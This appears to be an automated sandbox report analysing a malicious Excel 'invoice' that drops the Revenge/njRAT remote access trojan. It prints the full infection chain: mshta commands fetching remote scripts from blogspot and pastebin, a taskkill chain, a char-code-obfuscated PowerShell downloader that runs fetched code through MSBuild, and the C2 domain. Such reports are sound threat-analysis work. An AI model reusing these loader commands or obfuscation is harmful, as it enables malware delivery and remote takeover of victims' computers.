| File name: | invoice # 36736R88.xlsx |
| Full analysis: | https://app.any.run/tasks/262d7ca9-6352-4aaf-9ff4-a1bf1ca9d9c7 |
| Verdict: | Malicious activity |
| Threats: | Remote access trojans (RATs) are a type of malware that enables attackers to establish complete to partial control over infected computers. Such malicious programs often have a modular design, offering a wide range of functionalities for conducting illicit activities on compromised systems. Some of the most common features of RATs include access to the users’ data, webcam, and keystrokes. This malware is often distributed through phishing emails and links. |
| Analysis date: | July 18, 2019, 06:27:42 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.ms-excel |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Author: 007, Last Saved By: 007, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Jun 5 19:17:20 2015, Last Saved Time/Date: Tue Jul 16 16:27:14 2019, Security: 0 |
| MD5: | DC81965D09A89F51F98FA5F158D1E657 |
| SHA1: | 3A9896C2E697C4F21B5394418E784A62CD4A9452 |
| SHA256: | C9575FD8C9829A2937B9DC7C2648C5F6030B9768064B9BD49D91AA4085CCA34F |
| SSDEEP: | 768:8Sk3hOdsylKlgxopeiBNhZFGzE+cL2kdAJ7iP809Dju:Fk3hOdsylKlgxopeiBNhZFGzE+cL2kdR |
MALICIOUS
Starts MSHTA.EXE for opening HTA or HTMLS files
- EXCEL.EXE (PID: 3576)
Unusual execution from Microsoft Office
- EXCEL.EXE (PID: 3576)
Executes PowerShell scripts
- mshta.exe (PID: 2500)
Changes the autorun value in the registry
- mshta.exe (PID: 2500)
Connects to CnC server
- MSBuild.exe (PID: 2684)
REVENGE was detected
- MSBuild.exe (PID: 2684)
Loads the Task Scheduler COM API
- schtasks.exe (PID: 3848)
Uses Task Scheduler to run other applications
- mshta.exe (PID: 2500)
SUSPICIOUS
Starts CMD.EXE for commands execution
- mshta.exe (PID: 2500)
Creates files in the user directory
- mshta.exe (PID: 2364)
- powershell.exe (PID: 3552)
- mshta.exe (PID: 2500)
Starts MSHTA.EXE for opening HTA or HTMLS files
- mshta.exe (PID: 2364)
Uses TASKKILL.EXE to kill Office Apps
- cmd.exe (PID: 3272)
Application launched itself
- mshta.exe (PID: 2364)
Uses TASKKILL.EXE to kill process
- cmd.exe (PID: 3272)
INFO
Reads Microsoft Office registry keys
- EXCEL.EXE (PID: 3576)
Reads settings of System Certificates
- powershell.exe (PID: 3552)
Creates files in the user directory
- EXCEL.EXE (PID: 3576)
Reads internet explorer settings
- mshta.exe (PID: 2500)
- mshta.exe (PID: 2364)
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TRiD
| .xls | | | Microsoft Excel sheet (48) |
|---|---|---|
| .xls | | | Microsoft Excel sheet (alternate) (39.2) |
EXIF
FlashPix
| Author: | 007 |
|---|---|
| LastModifiedBy: | 007 |
| Software: | Microsoft Excel |
| CreateDate: | 2015:06:05 18:17:20 |
| ModifyDate: | 2019:07:16 15:27:14 |
| Security: | None |
| CodePage: | Windows Latin 1 (Western European) |
| Company: | - |
| AppVersion: | 16 |
| ScaleCrop: | No |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| TitleOfParts: | Sheet1 |
| HeadingPairs: |
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| CompObjUserTypeLen: | 32 |
| CompObjUserType: | Microsoft Excel 2003 Worksheet |
Total processes
49
Monitored processes
11
Malicious processes
5
Suspicious processes
1
Behavior graph
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Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
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| 2172 | taskkill /f /im MSPUB.exe | C:\Windows\system32\taskkill.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Terminates Processes Exit code: 128 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
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| 2256 | taskkill /f /im POWERPNT.EXE | C:\Windows\system32\taskkill.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Terminates Processes Exit code: 128 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
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| 2364 | mshta https://createdbymewithdeniss.blogspot.com/p/ilayaazurlt.html | C:\Windows\system32\mshta.exe | EXCEL.EXE | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft (R) HTML Application host Exit code: 0 Version: 8.00.7600.16385 (win7_rtm.090713-1255) Modules
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| 2500 | "C:\Windows\System32\mshta.exe" http://www.pastebin.com/raw/5hnNQjfS | C:\Windows\System32\mshta.exe | mshta.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft (R) HTML Application host Exit code: 0 Version: 8.00.7600.16385 (win7_rtm.090713-1255) Modules
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| 2548 | taskkill /f /im winword.exe | C:\Windows\system32\taskkill.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Terminates Processes Exit code: 128 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
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| 2684 | "{path}" | C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: MSBuild.exe Exit code: 0 Version: 2.0.50727.5420 built by: Win7SP1 Modules
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| 3272 | "C:\Windows\System32\cmd.exe" /c taskkill /f /im winword.exe & taskkill /f /im excel.exe & taskkill /f /im MSPUB.exe & taskkill /f /im POWERPNT.EXE & exit | C:\Windows\System32\cmd.exe | — | mshta.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 128 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
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| 3416 | taskkill /f /im excel.exe | C:\Windows\system32\taskkill.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Terminates Processes Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
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| 3552 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $Mo=@(91,118,111,105,100,93,32,91,83,121,115,116,101,109,46,82,101,102,108,101,99,116,105,111,110,46,65,115,115,101,109,98,108,121,93,58,58,76,111,97,100,87,105,116,104,80,97,114,116,105,97,108,78,97,109,101,40,39,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,39,41,59,36,102,106,61,91,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,46,73,110,116,101,114,97,99,116,105,111,110,93,58,58,67,97,108,108,66,121,110,97,109,101,40,40,78,101,119,45,79,98,106,101,99,116,32,78,101,116,46,87,101,98,67,108,105,101,110,116,41,44,39,68,111,119,110,108,111,97,100,83,116,114,105,110,103,39,44,91,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,46,67,97,108,108,84,121,112,101,93,58,58,77,101,116,104,111,100,44,39,104,116,116,112,115,58,47,47,112,97,115,116,101,98,105,110,46,99,111,109,47,114,97,119,47,76,67,74,53,89,121,104,122,39,41,124,73,69,88,59,91,66,121,116,101,91,93,93,36,102,61,91,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,46,73,110,116,101,114,97,99,116,105,111,110,93,58,58,67,97,108,108,66,121,110,97,109,101,40,40,78,101,119,45,79,98,106,101,99,116,32,78,101,116,46,87,101,98,67,108,105,101,110,116,41,44,39,68,111,119,110,108,111,97,100,83,116,114,105,110,103,39,44,91,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,46,67,97,108,108,84,121,112,101,93,58,58,77,101,116,104,111,100,44,39,104,116,116,112,115,58,47,47,112,97,115,116,101,98,105,110,46,99,111,109,47,114,97,119,47,54,105,103,120,48,56,48,75,39,41,46,114,101,112,108,97,99,101,40,39,37,37,39,44,39,48,120,39,41,124,73,69,88,59,91,107,46,72,97,99,107,105,116,117,112,93,58,58,101,120,101,40,39,77,83,66,117,105,108,100,46,101,120,101,39,44,36,102,41);[System.Text.Encoding]::ASCII.GetString($Mo)|IEX | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | mshta.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
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| 3576 | "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Exit code: 1 Version: 14.0.6024.1000 Modules
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Total events
1 140
Read events
942
Write events
191
Delete events
7
Modification events
| (PID) Process: | (3576) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems |
| Operation: | write | Name: | kd> |
Value: 6B643E00F80D0000010000000000000000000000 | |||
| (PID) Process: | (3576) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (3576) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: On | |||
| (PID) Process: | (3576) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel |
| Operation: | write | Name: | MTTT |
Value: F80D0000C6981EF1313DD50100000000 | |||
| (PID) Process: | (3576) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems |
| Operation: | delete value | Name: | kd> |
Value: 6B643E00F80D0000010000000000000000000000 | |||
| (PID) Process: | (3576) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems |
| Operation: | delete key | Name: | |
Value: | |||
| (PID) Process: | (3576) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency |
| Operation: | delete key | Name: | |
Value: | |||
| (PID) Process: | (3576) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
| (PID) Process: | (3576) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 1 | |||
| (PID) Process: | (3576) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\10EEF7 |
| Operation: | write | Name: | 10EEF7 |
Value: 04000000F80D00003200000043003A005C00550073006500720073005C00610064006D0069006E005C004400650073006B0074006F0070005C0069006E0076006F00690063006500200023002000330036003700330036005200380038002E0078006C00730078002E0078006C007300000000001700000043003A005C00550073006500720073005C00610064006D0069006E005C004400650073006B0074006F0070005C000100000000000000202852F2313DD501F7EE1000F7EE100000000000AC020000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 | |||
Executable files
0
Suspicious files
4
Text files
21
Unknown types
2
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3576 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\CVRE8CB.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2364 | mshta.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JGRR2OYX\error[1] | — | |
MD5:— | SHA256:— | |||
| 2364 | mshta.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LH043OAM\error[1] | — | |
MD5:— | SHA256:— | |||
| 2364 | mshta.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JGRR2OYX\warning[1] | — | |
MD5:— | SHA256:— | |||
| 2364 | mshta.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JGRR2OYX\3399642339-ieretrofit[1].js | html | |
MD5:— | SHA256:— | |||
| 3576 | EXCEL.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\invoice # 36736R88.xlsx.xls.LNK | lnk | |
MD5:— | SHA256:— | |||
| 2364 | mshta.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@google[1].txt | text | |
MD5:— | SHA256:— | |||
| 3552 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\8F7UAW9J10PPDS8H0O2S.temp | — | |
MD5:— | SHA256:— | |||
| 2364 | mshta.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LH043OAM\plusone[1].js | html | |
MD5:— | SHA256:— | |||
| 2364 | mshta.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\H6QNMHE9\1646370754-comment_from_post_iframe[1].js | html | |
MD5:— | SHA256:— | |||
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HTTP(S) requests
0
TCP/UDP connections
14
DNS requests
9
Threats
20
HTTP requests
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Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2364 | mshta.exe | 172.217.18.1:443 | createdbymewithdeniss.blogspot.com | Google Inc. | US | whitelisted |
2364 | mshta.exe | 172.217.16.201:443 | www.blogger.com | Google Inc. | US | whitelisted |
2364 | mshta.exe | 172.217.16.206:443 | apis.google.com | Google Inc. | US | whitelisted |
2364 | mshta.exe | 172.217.18.162:443 | pagead2.googlesyndication.com | Google Inc. | US | whitelisted |
2364 | mshta.exe | 172.217.18.105:443 | resources.blogblog.com | Google Inc. | US | suspicious |
2364 | mshta.exe | 172.217.18.13:443 | accounts.google.com | Google Inc. | US | whitelisted |
2500 | mshta.exe | 104.20.208.21:80 | www.pastebin.com | Cloudflare Inc | US | shared |
2500 | mshta.exe | 104.20.208.21:443 | www.pastebin.com | Cloudflare Inc | US | shared |
3552 | powershell.exe | 104.20.208.21:443 | www.pastebin.com | Cloudflare Inc | US | shared |
2684 | MSBuild.exe | 192.95.7.228:2336 | iyalla.duckdns.org | OVH SAS | CA | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
createdbymewithdeniss.blogspot.com |
| whitelisted |
www.blogger.com |
| shared |
apis.google.com |
| whitelisted |
pagead2.googlesyndication.com |
| whitelisted |
accounts.google.com |
| shared |
resources.blogblog.com |
| whitelisted |
www.pastebin.com |
| shared |
pastebin.com |
| malicious |
iyalla.duckdns.org |
| malicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2500 | mshta.exe | Misc activity | SUSPICIOUS [PTsecurity] Cmd.Powershell.Download HTTP UserAgent (Win7) |
1044 | svchost.exe | Misc activity | ET INFO DYNAMIC_DNS Query to *.duckdns. Domain |
2684 | MSBuild.exe | A Network Trojan was detected | MALWARE [PTsecurity] Revenge/hamza-RAT CnC Checkin |
2684 | MSBuild.exe | A Network Trojan was detected | MALWARE [PTsecurity] Revenge/hamza-RAT CnC Checkin |
2684 | MSBuild.exe | A Network Trojan was detected | MALWARE [PTsecurity] MSIL/Maadawy-RAT (njRAT) CnC Response |
2684 | MSBuild.exe | A Network Trojan was detected | MALWARE [PTsecurity] MSIL/Maadawy-RAT (njRAT) CnC Response |
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